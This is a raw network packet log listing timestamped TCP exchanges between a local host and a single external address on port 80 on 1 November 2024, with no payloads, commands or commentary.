Nov 1, 2024 05:02:35.865921021 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.865956068 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.866014957 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.866024017 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.866061926 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.866091013 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.866125107 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.866152048 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.866169930 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.869297028 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.897412062 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.908056021 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.908066034 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.908104897 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.908159971 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.908196926 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.908363104 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.909110069 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.909148932 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.909154892 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.909204006 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.909276009 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.909286022 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.909331083 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.909379959 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.909405947 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.909481049 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.909487963 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.909537077 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.909586906 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.909641027 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.909674883 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.909683943 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.909723043 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.909764051 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.909998894 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.910016060 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.910047054 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.910052061 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.910155058 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.910162926 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.910172939 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.910181046 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.910217047 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.910291910 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.910387993 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.910396099 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.910444975 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.910470009 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.910542965 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.910548925 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.910592079 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.910626888 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.910701990 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.910710096 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.910749912 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.910844088 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.910851002 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.910890102 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.910947084 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.911036968 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.911046982 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.911083937 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.911166906 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.911174059 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.911216021 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.911266088 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.911354065 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.911360979 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.911400080 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.911434889 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.911448956 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.911488056 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.911525011 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.911570072 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.911618948 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.911660910 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.911669016 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.911720037 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.945616961 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.945677042 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.945683002 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.945765018 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.945830107 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.945837975 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.945852041 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.945913076 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.945950985 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.945996046 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.946002960 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.946032047 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.946038961 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.949210882 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.983006001 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.983055115 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.983062983 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.983134031 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.983187914 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.983196974 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.983331919 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.983340025 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.983347893 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.983355999 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.983365059 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.983390093 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.983411074 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:35.983601093 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.983608961 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:35.983653069 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.025060892 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.025079966 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.025147915 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.026175022 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.026184082 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.026272058 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.026326895 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.026371956 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.026380062 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.026396036 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.026405096 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.026439905 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.026514053 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.027026892 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.027271032 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.027288914 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.027297020 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.027328968 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.027379990 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.027390957 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.027443886 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.027470112 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.027479887 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.027522087 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.027599096 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.027606964 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.027621984 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.027646065 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.027734995 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.027743101 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.027757883 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.027781010 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.027868032 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.027877092 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.027918100 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.029186010 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.029244900 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.029253006 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.029382944 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.029397964 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.029406071 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.029422045 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.029432058 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.029478073 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.029540062 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.029587030 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.029664993 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.029676914 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.029683113 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.029690027 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.029699087 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.029720068 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.029745102 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.029911041 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.029920101 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.029963970 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.030002117 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.030019045 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.030059099 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.030118942 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.030134916 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.033143044 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.062762022 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.062833071 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.062841892 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.062913895 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.062969923 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.062978983 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.062987089 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.063055038 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.063128948 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.063138008 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.063179970 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.100006104 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.100014925 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.100032091 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.100075960 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.100085020 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.100099087 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.100145102 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.100168943 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.100210905 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.100274086 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.100310087 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.100317955 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.100325108 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.100362062 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.100464106 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.100471973 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.100511074 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.100584030 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.100590944 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.100651026 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.100651979 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.100670099 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.100724936 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.100754976 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.100776911 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.101073027 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.101111889 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.101161003 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.101167917 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.101203918 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.101238966 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.101248026 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.101284027 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.101350069 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.101357937 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.101372957 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.101418018 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.101461887 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.101531029 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.101553917 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.101712942 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.105926037 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.105948925 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.106024981 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.106024981 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.106033087 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.106071949 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.143147945 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.143157959 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.143189907 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.143198967 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.143204927 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.143213034 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.143225908 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.143275976 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.143320084 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.143353939 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.143399000 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.143441916 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.143450022 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.143487930 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.143551111 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.143560886 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.143568993 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.143577099 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.143596888 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.143620968 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.143745899 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.143826962 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.143834114 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.143877029 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.143919945 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.143928051 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.143965960 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.144022942 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.144076109 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.144083023 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.144123077 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.144176960 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.144186020 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.144287109 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.144300938 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.144355059 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.144383907 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.144428015 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.144509077 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.144601107 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.144608974 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.144649982 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.144697905 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.146141052 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.146194935 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.146200895 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.146250963 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.146275043 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.146284103 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.146398067 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.146445990 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.146514893 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.146524906 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.146555901 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.146599054 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.146606922 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.146758080 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.146765947 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.146787882 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.146814108 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.146907091 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.146915913 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.146923065 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.146943092 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.146954060 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.147074938 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.147157907 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.147166967 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.147206068 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.147294044 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.147303104 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.147344112 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.179775953 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.179812908 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.179821014 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.179894924 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.179953098 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.179960966 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.179969072 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.179976940 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.180007935 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.180203915 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.180213928 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.180253983 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.217071056 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.217106104 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.217122078 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.217176914 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.217216969 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.217281103 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.217289925 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.217334032 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.217430115 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.217438936 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.217456102 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.217516899 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.217647076 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.217654943 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.217669964 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.217694998 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.217744112 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.259958029 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.259984016 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.259999037 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.260086060 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.260085106 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.260094881 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.260138988 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.260139942 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.260145903 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.260185003 CET	59856	80	192.168.2.5	185.215.113.16
